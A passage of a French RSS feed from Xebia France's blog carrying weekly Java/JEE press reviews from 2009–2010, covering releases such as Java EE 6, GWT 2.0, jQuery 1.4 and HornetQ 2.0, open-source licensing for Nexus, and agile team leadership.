href="http://github.com/jboner/akka/downloads" title="ici" >ici</a>.</p> ]]></content:encoded> <wfw:commentRss>http://blog.xebia.fr/2010/03/29/revue-de-presse-xebia-153/feed/</wfw:commentRss> <slash:comments>4</slash:comments> </item> <item><title>Revue de Presse Xebia</title><link>http://blog.xebia.fr/2010/01/18/revue-de-presse-xebia-143/</link> <comments>http://blog.xebia.fr/2010/01/18/revue-de-presse-xebia-143/#comments</comments> <pubDate>Mon, 18 Jan 2010 18:55:11 +0000</pubDate> <dc:creator>Xebia France</dc:creator> <category><![CDATA[Revue de presse]]></category> <category><![CDATA[dmServer]]></category> <category><![CDATA[Eclipse]]></category> <category><![CDATA[Flex]]></category> <category><![CDATA[HornetQ 2.0]]></category> <category><![CDATA[J2EE]]></category> <category><![CDATA[Java / JEE]]></category> <category><![CDATA[JEE]]></category> <category><![CDATA[jQuery]]></category> <category><![CDATA[Méthodes agiles]]></category> <category><![CDATA[Nexus]]></category> <category><![CDATA[RIA]]></category> <category><![CDATA[Sonatype]]></category> <category><![CDATA[SpringSource]]></category> <guid
isPermaLink="false">http://blog.xebia.fr/?p=3835</guid> <description><![CDATA[La revue de presse de l&#8217;actualité Java/J2EE hebdomadaire proposée par Xebia. Actualité éditeurs / SSII dm Server 2.0 transféré de SpringSource à Eclipse HornetQ 2.0, un véritable renouveau ? Nexus sous license GPL: Sonatype explique son choix Agilité Le rôle des leaders dans une équipe agile RIA Le nouveau jQuery est arrivé ! Survol de [...]]]></description> <content:encoded><![CDATA[<p><img
src="http://blog.xebia.fr/wp-content/uploads/2007/06/revuedepresse.png" alt="Revue de Presse Xebia" style="margin: 1em 1em 1em 1em; float: right;" /><br
/> <em>La revue de presse de l&#8217;actualité Java/J2EE hebdomadaire proposée par Xebia.</em></p><p><strong>Actualité éditeurs / SSII</strong></p><ul><li><a
href="http://blog.xebia.fr/2010/01/18/revue-de-presse-xebia-143/#dmServertransfrdeSpringSourceE">dm Server 2.0 transféré de SpringSource à Eclipse</a></li><li><a
href="http://blog.xebia.fr/2010/01/18/revue-de-presse-xebia-143/#HornetQunvritablerenouveau">HornetQ 2.0, un véritable renouveau ?</a></li><li><a
href="http://blog.xebia.fr/2010/01/18/revue-de-presse-xebia-143/#NexussouslicenseGPLSonatypeexp">Nexus sous license GPL: Sonatype explique son choix</a></li></ul><p><strong>Agilité</strong></p><ul><li><a
href="http://blog.xebia.fr/2010/01/18/revue-de-presse-xebia-143/#Lerledesleadersdansunequipeagi">Le rôle des leaders dans une équipe agile</a></li></ul><p><strong>RIA</strong></p><ul><li><a
href="http://blog.xebia.fr/2010/01/18/revue-de-presse-xebia-143/#LenouveaujQueryestarriv">Le nouveau jQuery est arrivé !</a></li><li><a
href="http://blog.xebia.fr/2010/01/18/revue-de-presse-xebia-143/#SurvoldelagalaxieFlex">Survol de la galaxie Flex.</a></li></ul><h3><a
name="ActualitditeursSSII"></a>Actualité éditeurs / SSII</h3><h4><a
name="dmServertransfrdeSpringSourceE"></a>dm Server 2.0 transféré de SpringSource à Eclipse</h4><p>SpringSource annonce cette semaine <a
href="http://blog.springsource.com/2010/01/12/dm-server-2-0-0-released/" title="la finalisation de dm Server 20" >la finalisation de dm Server 2.0</a>. Il s&#8217;agit là d&#8217;une mise à jour importante qui agit principalement sur la réduction des nuisances causées au développeur de par la nature même d&#8217;OSGi. En effet, si beaucoup peuvent s&#8217;accorder sur le fait que la modularité dynamique peut constituer un intérêt sur de nombreux projets, c&#8217;est le coût en nuisances et en lourdeurs qui fait que cette solution n&#8217;est toujours pas très populaire au sein des applications d&#8217;entreprise. L&#8217;enjeu est donc crucial puisqu&#8217;il s&#8217;agit maintenant pour SpringSource de rendre attractif son serveur modulaire pour les entreprises. Un an et demi après le lancement du projet l&#8217;évolution de cette version 2.0 sera donc à suivre&#8230;</p><p>Parallèlement, SpringSource <a
href="http://blog.springsource.com/2010/01/12/dm-server-project-moves-to-eclipse-org/" title="annonce le transfert" >annonce le transfert</a> de dm Server au sein de la fondation Eclipse. Il tiendra alors le rôle d&#8217;implémentation de référence de la spécification BluePrint OSGi 4.2 <a
href="http://blog.xebia.fr/2009/09/21/revue-de-presse-xebia-127/#OSGi" title="rcemment finalise" >récemment finalisée</a>. Tout comme le travail de simplification apporté à la nouvelle version, la standardisation permettra de rassurer les entreprises sur la pérennité de la technologie proposée par dm Server, qui restait jusqu&#8217;alors propriétaire.</p><h4><a
name="HornetQunvritablerenouveau"></a>HornetQ 2.0, un véritable renouveau ?</h4><p>Pour mémoire, <a
href="http://jboss.org/hornetq/" title="HornetQ" >HornetQ</a> est le nouveau nom de JBoss messaging. En bref, c&#8217;est pour le moment un projet Open Source sans support ayant vocation à s&#8217;intégrer dans le futur aux produits d&#8217;entreprise RedHat. <a
href="http://blog.xebia.fr/2009/08/31/revue-de-presse-xebia-124/#JBossHornetQ" title="Nous en parlions dj en aout lanne dernire" >Nous en parlions déjà en aout l&#8217;année dernière</a>. La <em>roadmap</em> visait alors clairement la mise à disposition d&#8217;une API de <em>messaging</em> RESTful. Malheureusement, il n&#8217;y en a même pas l&#8217;ombre pour le moment et cela reste dans la <em>roadmap</em>. Gageons que quelques problèmes d&#8217;architecture accompagnés de bugs bloquants ont empêché le développement de cette nouvelle fonctionnalité.</p><p>L&#8217;annonce reprend principalement la précédente et ne liste rien de neuf par rapport à Aout 2009. Mais s&#8217;il y a bien dans le <a
href="https://jira.jboss.org/jira/browse/HORNETQ?report=com.atlassian.jira.plugin.system.project:changelog-panel" title="Jira du projet" >Jira du projet</a> un grand nombre de bugs corrigés, c&#8217;est surtout la maturité du source qui a grandi.<br
/> Malgré tout, la bonne nouvelle est que JBoss espère bien pouvoir l&#8217;intégrer dans sa ligne produit et que RedHat continue l&#8217;investissement sur le projet.</p><h4><a
name="NexussouslicenseGPLSonatypeexp"></a>Nexus sous license GPL: Sonatype explique son choix</h4><p><a
href="http://nexus.sonatype.org/" title="Nexus" >Nexus</a> est le gestionnaire de dépôts Maven développé par Sonatype. La version 1.0 est sortie à l&#8217;été 2008 sous la licence GPL. Il faut croire que Sonatype a fait face à de nombreuses critiques car la société vient de publier sur son blog un post intitulé &laquo;&nbsp;<a
href="http://www.sonatype.com/people/2010/01/why-we-chose-the-gpl-for-nexus/" title="Why we chose the GPL for Nexus" >Why we chose the GPL for Nexus</a>&nbsp;&raquo; lui permettant d&#8217;argumenter son choix. Alors quelles furent ces raisons ?<br
/> Le &laquo;&nbsp;problème&nbsp;&raquo; de <a
href="http://fr.wikipedia.org/wiki/Licence_publique_g%C3%A9n%C3%A9rale_GNU" title="la GPL" >la GPL</a> est qu&#8217;elle force à redonner à la communauté les changements effectués dans le source au cas où le logiciel obtenu est redistribué. Dans le cas spécifique de Nexus, Sonatype explique que le produit était vu dès l&#8217;origine comme un produit commercial, sans question d&#8217;open source. Puis, trouvant le processus de développement plus fun, intéressant et plus productif, couplé au fait que l&#8217;équipe voulait &laquo;&nbsp;protéger son investissement&nbsp;&raquo;, il fut décidé de passer en Open Source. Sonatype est franc sur ce dernier point et affirme l&#8217;avoir toujours été.<br
/> Ensuite, la société explique les idées qui guident généralement ses choix de licence:</p><ul><li>L&#8217;<a
href="http://fr.wikipedia.org/wiki/Affero_General_Public_License" title="Affero GPL" >Affero GPL</a> ne permet pas aux utilisateurs de développer des extensions, même à usage interne, sans avoir à redistribuer les sources. Dans le cas de Nexus, cela aurait sans doute impacté négativement son adoption.</li><li>Sonatype considère que, pour un projet open source, passer d&#8217;une licence donnée à une licence plus restrictive n&#8217;est pas correct. On se souvient que certains on déjà réalisé cette transition en s&#8217;attirant alors <a
href="http://www.extjs.com/forum/showthread.php?t=33096" title="des critiques dutilisateurs" >des critiques d&#8217;utilisateurs</a>. Sonatype déclare que ce ne sera pas leur cas.</li><li>La documentation, elle, est soumise à un principe différent. En effet, la compagnie pense que celle-ci constitue une bonne partie de la plus-value apportée. Ainsi, ils ne veulent pas voir de concurrents se servir de leur travail. C&#8217;est pourquoi ils ont choisi la licence <a
href="http://creativecommons.org/licenses/by-nc-nd/3.0/deed.fr" title="Creative Common 30 BYNDNC" >Creative Common 3.0 BY-ND-NC</a> interdisant à quiconque de modifier cette documentation.</li></ul><p>Au final, cet article est passionnant dans la mesure où il nous permet de bien appréhender le raisonnement derrière le choix d&#8217;une License pour des produits très répandus dans l&#8217;écosystème Java. Nous les utilisons tous les jours sans forcément nous poser de questions. Pourtant, pour certains clients, il peut être important de garder fermées leurs sources. Après, savoir si c&#8217;est une réelle nécessité ou un simple état d&#8217;esprit difficile à changer est une autre histoire !</p><h3><a
name="Agilit"></a>Agilité</h3><h4><a
name="Lerledesleadersdansunequipeagi"></a>Le rôle des leaders dans une équipe agile</h4><p><a
href="http://blog.mountaingoatsoftware.com/the-role-of-leaders-on-a-self-organizing-team" title="Mike Cohn" >Mike Cohn</a>, auteur de nombreux livres sur l&#8217;agilité et membre fondateur de <a
href="http://www.agilealliance.org/" title="lAlliance Agile" >l&#8217;Alliance Agile</a>, revient sur le rôle des managers au sein d&#8217;une organisation de type agile. Un des principes forts des méthodes agiles est la mise en place d&#8217;une équipe auto-organisée, où il n&#8217;y a théoriquement plus de chef de projet. Cependant, Mike nous averti qu&#8217;une auto-organisation ne veut pas dire les développeurs font tout ce qu&#8217;ils veulent. Au contraire, Mike explique que des managers ont tout à fait leur rôle à jouer dans ce type d&#8217;organisation. Ainsi, il développe l&#8217;idée d&#8217;une influence subtile et indirecte des managers sur l&#8217;équipe.<br
/> C&#8217;est alors au fur et à mesure des challenges, des échecs et réussites que l&#8217;équipe évolue d&#8217;elle-même vers l&#8217;organisation la plus appropriée. Les managers sont néanmoins là pour poser certaines limites et contraintes.<br
/> A la fin de son article, Mike nous présente un exemple concret d&#8217;un scrum master au prise avec un développeur, qui est un peu trop solitaire, et nous expose comment il pourrait résoudre ce problème de manière subtile. Le scrum master peut être alors vu comme un agitateur au sein de l&#8217;équipe pour l&#8217;aider à devenir plus agile. Et, c&#8217;est là l&#8217;un des plus gros challenges d&#8217;un scrum master, qui consiste à naviguer entre un subtil mélange de contrôle et d&#8217;influence.</p><h3><a
name="RIA"></a>RIA</h3><h4><a
name="LenouveaujQueryestarriv"></a>Le nouveau jQuery est arrivé !</h4><p>Un an jour pour jour (ou presque) après la <a
href="http://blog.xebia.fr/2009/01/19/revue-de-presse-xebia-92/#SortieduframeworkJavaScriptJQu" title="sortie de jQuery 1.3" >sortie de jQuery 1.3</a>, voici venir la nouvelle mouture du framework qui nous arrive dans une <a
href="http://jquery14.com/day-01" title="version 1.4" >version 1.4</a>. Le détail complet des nouveautés se trouve sur cette <a
href="http://jquery14.com/day-01" title="page" >page</a>. Le mot d&#8217;ordre : <em>performance</em> !</p><p>L&#8217;API a subit une réécriture complète. Un des points marquants  est la fonction <code>live()</code>, déjà présente dans la version précédente, qui supporte désormais tous les évènements Javascript <em>(click, change&#8230;)</em>. Pour ce qui est des nouveautés au niveau de l&#8217;API, on retiendra plus particulièrement :</p><ul><li><code>contains()</code> : vérifie l&#8217;existence d&#8217;un nœud DOM dans un autre nœud DOM,</li><li><code>isEmptyObject()</code> et <code>isPlainObject()</code> :  vérifie si un objet est vide ou existant <em>(new Object ou {})</em>,</li><li><code>detach()</code> : supprime du DOM un set d&#8217;éléments,</li><li><code>focusin()</code> et <code>focusout()</code> : ajoute un événement de type focus,</li><li><code>clearQueue()</code> : supprime de la pile les éléments qui n&#8217;ont pas encore été lancés,</li><li><code>delay()</code> : définit un <em>timer</em> pour l&#8217;exécution de certains éléments dans la pile,</li><li><code>toArray()</code> : récupère tous les éléments du conteneur jQuery dans un tableau.</li></ul><p>Côté performance, on peut noter une réelle <a
href="http://www.flickr.com/photos/jeresig/4271690739/" title="amélioration" >amélioration</a> pour les méthodes <em>remove</em>, <em>html</em> et <em>empty</em>. Un gros travail a donc été effectué au niveau des méthodes de manipulation du DOM. Il en va de même pour la gestion des <a
href="http://www.flickr.com/photos/jeresig/4271691147/" title="attributs et des proprits css" >attributs et des propriétés css</a>.</p><p>Pour le téléchargement de la librairie production <em>(minifié et GZippé)</em> ou développement <em>(code non compressé)</em> ou pour consulter la documentation, je vous renvoie directement sur la <a
href="http://jquery.com/" title="home page" >home page</a> du site. Et pour les fans de CheatSheet <em>(comme moi <img
src='http://blog.xebia.fr/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> )</em>, la version 1.4 est déjà disponible au format <a
href="http://www.futurecolors.ru/jquery/" title="HTML" >HTML</a>, <a
href="http://www.futurecolors.ru/jquery/jquery.cheatsheet.1.4.pdf" title="PDF" >PDF</a> ou <a
href="http://www.futurecolors.ru/jquery/jquery.cheatsheet.1.4.png" title="PNG" >PNG</a>.</p><p>Et si vous appréciez jQuery et le travail de toute l&#8217;équipe qui se trouve derrière, vous pouvez faire une <a
href="http://jquery14.com/donate" title="donation de 20$ et ainsi recevoir un eBook jQuery gratuitement" >donation de 20$ et ainsi recevoir un eBook jQuery gratuitement</a> !</p><h4><a
name="SurvoldelagalaxieFlex"></a>Survol de la galaxie Flex.</h4><p>Vous voulez passer à Flex, mais vous ne savez pas par où commencer ? Suivant l&#8217;adage &laquo;&nbsp;Pour bien travailler il faut avoir de bons outils&nbsp;&raquo;, InfoQ propose <a
href="http://www.infoq.com/news/2010/01/state-of-flex-dev-tools" title="un survol de la galaxie Flex" >un survol de la galaxie Flex</a>. Sans rentrer dans les détails de l&#8217;article, on notera :</p><ul><li>les IDE : le célèbre FlexBuilder, mais aussi IntelliJ, ou encore des environnements plus exotiques comme Amethyst, EnsembleTofino et FlashDevelop. Nous n&#8217;avons pas (encore) eu l&#8217;occasion d&#8217;essayer ces derniers, mais si l&#8217;un de nos lecteurs possède une expérience avec ces outils, qu&#8217;il n&#8217;hésite pas à la partager !</li><li>les frameworks : là encore, outre les classiques (PureMvc, Cairgorm&#8230;), quelques petits nouveaux tentent d&#8217;émerger, dont deux qui nous ont interpellé : Ruboss (pour intégrer Ruby on Rails) et Prana (IoC). Nous espérons bientôt les tester.</li><li>les outils de support du developpement : là encore, Flex commence à se doter d&#8217;un arsenal conséquent : tests unitaires (FlexMonkey), couverture de code (FlexCover), tests de GUI (RIATest). Il ne reste plus qu&#8217;à monter une usine logicielle digne de ce nom en agrégeant ces utilitaires.</li><li>les outils d&#8217;intégration dans l&#8217;entreprise : là encore, un certains nombre de ces outils sont archi-connus (comme BlazeDs), et d&#8217;autres plus confidentiels, peuvent présenter un réel intérêt : intégration à Struts (FxStruts), AmFast (Python)&#8230; Nous aurons probablement l&#8217;occasion d&#8217;en reparler.</li></ul><p>Au final, InfoQ propose un survol relativement complet et permet de découvrir de nouveaux outils. Ne reste plus qu&#8217;à les tester, ou à recueilli vos retours d&#8217;expérience !</p> ]]></content:encoded> <wfw:commentRss>http://blog.xebia.fr/2010/01/18/revue-de-presse-xebia-143/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>Revue de Presse Xebia</title><link>http://blog.xebia.fr/2009/12/14/revue-de-presse-xebia-138/</link> <comments>http://blog.xebia.fr/2009/12/14/revue-de-presse-xebia-138/#comments</comments> <pubDate>Mon, 14 Dec 2009 18:48:42 +0000</pubDate> <dc:creator>Xebia France</dc:creator> <category><![CDATA[Revue de presse]]></category> <category><![CDATA[Eclipse]]></category> <category><![CDATA[ECMAScript]]></category> <category><![CDATA[FlexPMD]]></category> <category><![CDATA[GlassFish]]></category> <category><![CDATA[GWT]]></category> <category><![CDATA[IDEA]]></category> <category><![CDATA[Java / JEE]]></category> <category><![CDATA[Java EE 6]]></category> <category><![CDATA[Netbeans]]></category> <category><![CDATA[OpenJDK]]></category> <category><![CDATA[Quartz]]></category> <category><![CDATA[RIA]]></category> <category><![CDATA[Spring Surf]]></category> <category><![CDATA[Terracota]]></category> <guid
isPermaLink="false">http://blog.xebia.fr/?p=3545</guid> <description><![CDATA[La revue de presse de l&#8217;actualité Java/J2EE hebdomadaire proposée par Xebia. Actualité éditeurs / SSII Java EE 6, Glassfish v3 et NetBeans 6.8 dans les bacs Terracota et Quartz : un premier produit disponible. RIA GWT 2.0 est (enfin) là ! Sortie de la release de FlexPMD 1.0 Le coin de la technique Le projet [...]]]></description> <content:encoded><![CDATA[<p><img
src="http://blog.xebia.fr/wp-content/uploads/2007/06/revuedepresse.png" alt="Revue de Presse Xebia" style="margin: 1em 1em 1em 1em; float: right;" /><br
/> <em>La revue de presse de l&#8217;actualité Java/J2EE hebdomadaire proposée par Xebia.</em></p><p><strong>Actualité éditeurs / SSII</strong></p><ul><li><a
href="http://blog.xebia.fr/2009/12/14/revue-de-presse-xebia-138/#JavaEEGlassfishvetNetBeansdans">Java EE 6, Glassfish v3 et NetBeans 6.8 dans les bacs</a></li><li><a
href="http://blog.xebia.fr/2009/12/14/revue-de-presse-xebia-138/#TerracotaetQuartzunpremierprod">Terracota et Quartz : un premier produit disponible.</a></li></ul><p><strong>RIA</strong></p><ul><li><a
href="http://blog.xebia.fr/2009/12/14/revue-de-presse-xebia-138/#GWTestenfinl">GWT 2.0 est (enfin) là !</a></li><li><a
href="http://blog.xebia.fr/2009/12/14/revue-de-presse-xebia-138/#SortiedelareleasedeFlexPMD">Sortie de la release de FlexPMD 1.0</a></li></ul><p><strong>Le coin de la technique</strong></p><ul><li><a
href="http://blog.xebia.fr/2009/12/14/revue-de-presse-xebia-138/#LeprojetLambdaapparatauseindOp">Le projet Lambda apparaît au sein d&#8217;OpenJDK</a></li><li><a
href="http://blog.xebia.fr/2009/12/14/revue-de-presse-xebia-138/#NouvelleversiondumeilleurIDEJa">Nouvelle version du meilleur IDE Java du monde&#8230;</a></li><li><a
href="http://blog.xebia.fr/2009/12/14/revue-de-presse-xebia-138/#ansdattenteetECMAScript">10 ans d&#8217;attente et ECMAScript 5</a></li><li><a
href="http://blog.xebia.fr/2009/12/14/revue-de-presse-xebia-138/#NouvelleMilestonedEclipseHelio">Nouvelle Milestone d&#8217;Eclipse Helios</a></li><li><a
href="http://blog.xebia.fr/2009/12/14/revue-de-presse-xebia-138/#SpringSurflestudiodecompositio">Spring Surf &#8211; le studio de composition de pages pour Spring MVC</a></li></ul><h3><a
name="ActualitditeursSSII"></a>Actualité éditeurs / SSII</h3><h4><a
name="JavaEEGlassfishvetNetBeansdans"></a>Java EE 6, Glassfish v3 et NetBeans 6.8 dans les bacs</h4><p>C&#8217;est la fin de longs mois d&#8217;attente, Sun nous livre <em>finalement</em> sa version 6 de la plateforme Java EE dont nous parlons depuis déjà longtemps sur le blog. Comme promis, c&#8217;est GlassFish v3 qui sert d&#8217;implémentation de référence à JavaEE 6. Le tout est fourni prêt à l&#8217;emploi : le SDK, l&#8217;implémentation serveur et l&#8217;IDE compatible. Vous pouvez donc d&#8217;ores et déjà essayer les EJB lite, les Servlet 3.0, la validation de Bean, l&#8217;injection de dépendance et bien sûr, la toute nouvelle JSF 2 &laquo;&nbsp;tant attendue&nbsp;&raquo;.<br
/> Voilà un beau cadeau de Noël que Sun nous offre, d&#8217;autant que la sortie de GlassFish v3 s&#8217;accompagne des plugins adéquats pour Eclipse et IntelliJ. Nous souhaitons longue vie et grand succès à cette nouvelle plateforme JavaEE.<br
/> Pour plus d&#8217;information sur le sujet:</p><ul><li><a
href="http://blog.xebia.fr/2009/11/25/devoxx-jour-3-jee6/" title="JavaEE6  Devoxx" >JavaEE6 à Devoxx</a></li><li><a
href="http://www.sun.com/featured-articles/2009-1210/feature/index.jsp" title="La news sur le site de Sun" >La news sur le site de Sun</a></li><li><a
href="http://www.infoq.com/news/2009/12/ee6qanda" title="Inteview de Roberto Chinnici sur InfoQ" >Inteview de Roberto Chinnici sur InfoQ</a></li><li><a
href="http://www.theserverside.com/news/thread.tss?thread_id=58858&#038;utm_source=feedburner&#038;utm_medium=feed&#038;utm_campaign=Feed:+techtarget/tsscom/home+(TheServerSide.com:+Your+Enterprise+Java+Community)&#038;utm_content=Google+Feedfetcher" title="Lannonce sur The Server Side" >L&#8217;annonce sur The Server Side</a></li></ul><h4><a
name="TerracotaetQuartzunpremierprod"></a>Terracota et Quartz : un premier produit disponible.</h4><p>Un peu moins d&#8217;un mois après <a
href="http://blog.xebia.fr/2009/11/23/revue-de-presse-xebia-135/#TerracottaafaimdOpenSourceacqu" title="le rachat de Quartz par Terracota" >le rachat de Quartz par Terracota</a>, l&#8217;éditeur met en application son acquisition, en proposant <a
href="http://www.terracotta.org/quartz/get-started" title="Terracotta Quartz EX" >Terracotta Quartz EX</a>, un Job Store pour Quartz. Cette nouveauté permet de développer une plate forme de gestion de charge et de distribution des traitements basée sur une gestion des jobs en mémoire.<br
/> Pour ceux qui utilisaient Quartz de manière non clusterisée, <a
href="http://www.terracotta.org/quartz/index-variation2" title="une nouvelle version de Quartz" >une nouvelle version de Quartz</a> permet d&#8217;utiliser une instance de serveur Terracota comme JobStore. Cela procure, <em>automatiquement</em>, à la fois une solution de persistance et de haute disponibilité pour la programmation des jobs. Cette implémentation repose sur le lock manager et la plate forme haute-dispo de Terracotta (et ne nécessite donc pas de base de données).<br
/> Pour ceux qui utilisaient déjà Quartz de manière clusterisée, à l&#8217;aide d&#8217;une base de données centrale, le nouveau <em>Terracotta Job Store</em> permet de continuer à utiliser le mode clusterisé, sans l&#8217;overhead dû à la base de données.</p><p>A n&#8217;en pas douter, comme pour EHCache, aquis il y a quelques temps déjà, Terracotta va rapidement proposer de nouvelles applications permettant de profiter au mieux des interactions possibles entre un <em>scheduler</em> et une plate-forme clusterisée.</p><p>Au passage, Quartz a subi un lifting afin que le <em>framework</em> respecte au mieux les normes Maven et s&#8217;intègre plus facile à Hudson.</p><p><a
href="http://www.infoq.com/news/2009/12/terracotta-quartz" title="Via infoQ" >Via infoQ</a></p><h3><a
name="RIA"></a>RIA</h3><h4><a
name="GWTestenfinl"></a>GWT 2.0 est (enfin) là !</h4><p>L&#8217;une des sensations de la semaine dernière n&#8217;est autre que la sortie en release finale de <a
href="http://googlewebtoolkit.blogspot.com/2009/12/introducing-google-web-toolkit-20-now.html" title="GWT en version 2.0" >GWT en version 2.0</a>, quelques mois seulement après la <a
href="http://blog.xebia.fr/2009/07/20/revue-de-presse-xebia-118/#GWTpourlesnouveauxnavigateurs" title="mise  jour 17" >mise à jour 1.7</a> qui ne faisait que corriger GWT pour les navigateurs récents.</p><p>Nous avons déjà bien couvert le sujet dans nos précédentes revues de presse, que ce soit pour la <a
href="http://blog.xebia.fr/2009/10/19/revue-de-presse-xebia-130/#GWTMilestone" title="Milestone 1" >Milestone 1</a> ou la <a
href="http://blog.xebia.fr/2009/11/23/revue-de-presse-xebia-135/#GWTversionRC" title="Release Candidate 1" >Release Candidate 1</a>. Rien de nouveau donc si vous nous suivez régulièrement. On retrouve ainsi le <em>development mode</em>, le <em>code splitting</em>, l&#8217;intégration <code>HTMLUnit</code>, l&#8217;<code>UIBinder</code>, le <code>RunAsync</code> et bien d&#8217;autres. Le détail complet des différentes nouveautés se trouve sur cette <a
href="http://googlewebtoolkit.blogspot.com/2009/12/introducing-google-web-toolkit-20-now.html" title="page" >page</a>.</p><p>A noter aussi l&#8217;arrivée avec GWT 2.0 de <a
href="http://code.google.com/intl/fr-FR/webtoolkit/speedtracer/" title="Speed Tracer" >Speed Tracer</a>, un outil vous permettant d&#8217;analyser votre application et ainsi de repérer d&#8217;éventuels problèmes de performances.<br
/> Le plugin Eclipse a lui aussi été mis à jour et possède désormais de nouvelles fonctionnalités spécifiques à GWT 2.0, comme le support d&#8217;<code>UiBinder</code> et de <code>ClientBundle</code>.</p><p>Concernant la migration, les retours <em>(comme <a
href="http://blog.jdevelop.eu/2009/12/10/experiences-with-the-migration-from-gwt-171-to-20/" title="celuici" >celui-ci</a>)</em> sont plutôt encourageants et laissent présager une migration sans trop de difficultés. Les gains en performance se situent, comme on pouvait s&#8217;y attendre, au niveau du <em>development mode</em> et de son plugin pour débuguer directement dans le navigateur (ce bon vieux <em>Hosted Mode</em> ne va décidément pas me manquer). Même au niveau des librairies tierces, il n&#8217;y a pas de grosses incompatibilités remontées par l&#8217;auteur.</p><p>La section téléchargement se trouve <a
href="http://code.google.com/intl/fr-FR/webtoolkit/download.html" title="ici" >ici</a>.</p><h4><a
name="SortiedelareleasedeFlexPMD"></a>Sortie de la release de FlexPMD 1.0</h4><p>Une bonne nouvelle cette semaine pour les développeurs Flex : <a
href="http://blogs.adobe.com/xagnetti/2009/12/flexpmd_10_released_flexmetric.html" title="la sortie de FlexPMD FlexCPD et FlexMetrics en release" >la sortie de FlexPMD, FlexCPD et FlexMetrics en release</a> pour contrôler votre code. Voyons un peu plus en détail ces différents outils :</p><ul><li>FlexPMD</li></ul><p><a
href="http://blog.xebia.fr/2009/09/07/revue-de-presse-xebia-125/#AnalysezvotrecodeFlexavecFlexP" title="Nous vous en parlions en septembre" >Nous vous en parlions en septembre</a>, FlexPMD fournit maintenant des fonctionnalités supplémentaires :</p><ul><li>invocation depuis Eclipse grâce à son <a
href="http://opensource.adobe.com/wiki/display/flexpmd/FlexPMD+Eclipse+plugin" title="plugin" >plugin</a>,</li><li>depuis <a
href="http://groups.adobe.com/posts/8f4c3bbe01" title="FlashDevelop" >FlashDevelop</a> ou <a
href="http://www.ohloh.net/p/textmate_flexpmd_bundle" title="TextMate" >TextMate</a> sur Mac OS X.</li></ul><p>Le rapport peut être généré en HTML ou XML. Son rapport au format XML est un standard pouvant être exploité par tout intépréteur PMD comme le plugin d&#8217;Hudson.</p><ul><li>FlexCPD (Copy &#038; and Paste Detector)</li><ul><li><a
href="http://opensource.adobe.com/wiki/display/flexpmd/FlexCPD" title="FlexCPD" >FlexCPD</a> permet comme son nom l&#8217;indique de détecter les duplications de code. Basé sur le moteur de JavaCPD, il peut être appelé en ligne de commande par une tâche Ant ou avec Maven. Les résultats sont exploitables dans Hudson également grâce au plugin <a
href="http://wiki.hudson-ci.org/display/HUDSON/DRY+Plugin" title="DRY" >DRY</a>.</li></ul><li>FlexMetrics</li><ul><li><a
href="http://opensource.adobe.com/wiki/display/flexpmd/FlexMetrics" title="FlexMetrics" >FlexMetrics</a> permet d&#8217;avoir des métriques sur votre code Flex. Comme FlexCPD, il peut être appelé en ligne de commande, avec Ant ou Maven. Pour interpréter les résultats de l&#8217;outil, il est possible d&#8217;utiliser le plugin <a
href="http://wiki.hudson-ci.org//pages/viewpage.action?pageId=36603031" title="JavaNCSS" >JavaNCSS</a>.</li></ul></ul><p>Des outils intéressants donc, pour ajouter vos projets Flex dans vos outils d&#8217;intégration continue.</p><h3><a
name="Lecoindelatechnique"></a>Le coin de la technique</h3><h4><a
name="LeprojetLambdaapparatauseindOp"></a>Le projet Lambda apparaît au sein d&#8217;OpenJDK</h4><p>Mark Reinhold annonce la création d&#8217;un nouveau sous-projet au sein d&#8217;OpenJDK : le <a
href="http://openjdk.java.net/projects/lambda/" title="Projet Lambda" >Projet Lambda</a>. Son but est d&#8217;apporter une implémentation des <em>closures</em> pour le JDK 7. Dans la mesure où il est prévu que cette fonctionnalité soit implémentée dans un premier temps pour être spécifiée par la suite, il sera particulièrement intéressant de suivre l&#8217;évolution de ce projet dans les prochains mois afin de découvrir à quoi <em>pourraient</em> ressembler les <em>closures</em> dans la prochaine version de Java.</p><p>Un premier <a
href="http://cr.openjdk.java.net/~mr/lambda/straw-man/" title="document de travail" >document de travail</a> a été mis à disposition. Il présente de manière non formelle la proposition pour l&#8217;implémentation des <em>closures</em> qui est retenue pour le moment. Cette proposition se base sur les trois principales bases de travail qui s&#8217;étaient dégagées lors des débats précédents, à savoir la <a
href="http://www.javac.info/closures-v05.html" title="BGGA" >BGGA</a>, la <a
href="http://docs.google.com/Doc.aspx?id=k73_1ggr36h" title="CICE" >CICE</a> et la <a
href="http://docs.google.com/Doc?id=ddhp95vd_6hg3qhc" title="FCM" >FCM</a>. Elle met en avant principalement :</p><ul><li>La syntaxe retenue pour la définition de fonctions anonymes qui se base sur le caractère <code>#</code>, ainsi <code>#()(42)</code> définit une fonction retournant toujours <code>42</code>.</li><li>La définition d&#8217;un type Java pour ces fonctions. Ainsi la fonction <code>#()(42)</code> prise en exemple précédemment a pour type <code>#int()</code>.</li><li>Les fonctions anonymes peuvent être converties automatiquement lorsqu&#8217;elle sont passées en argument d&#8217;une méthode attendant une instance d&#8217;une classe anonyme. En clair, il sera possible de créer une nouvelle <em>thread</em> avec <code>new Thread(#() { ...some code... } )</code> plutôt que de fournir au constructeur une classe anonyme implémentant <code>Runnable</code> pour définir la méthode <code>run()</code>. Cette possibilité permettra donc aux <em>closures</em> d&#8217;être utilisées directement dans les APIs existantes !</li><li>Dans certaines conditions, les <em>closures</em> sont à même d&#8217;utiliser les variables accessibles dans le contexte dans lequel elles sont définies.</li><li>Le mot clé <code>this</code> peut être utilisé si la <em>closure</em> est déclarée depuis une méthode d&#8217;instance, il référence alors l&#8217;instance à laquelle est attachée la méthode concernée.</li></ul><p>Enfin, pour faciliter les évolutions des APIs existantes que pourraient justifier ces nouvelles possibilités du langage, la notion de méthodes d&#8217;extensions est introduite. Il s&#8217;agit de permettre la définition de méthodes au sein des interfaces dont l&#8217;implémentation par défaut serait une méthode statique indiquée en argument.</p><p>Pour plus de détails sur cette proposition, n&#8217;hésitez pas à lire le <a
href="http://cr.openjdk.java.net/~mr/lambda/straw-man/" title="document de travail" >document de travail</a>, volontairement très didactique, du projet Lambda.</p><h4><a
name="NouvelleversiondumeilleurIDEJa"></a>Nouvelle version du meilleur IDE Java du monde&#8230;</h4><p>&#8230; en tout cas, c&#8217;est une des accroches d&#8217;IntelliJ IDEA <img
src='http://blog.xebia.fr/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /><br
/> <a
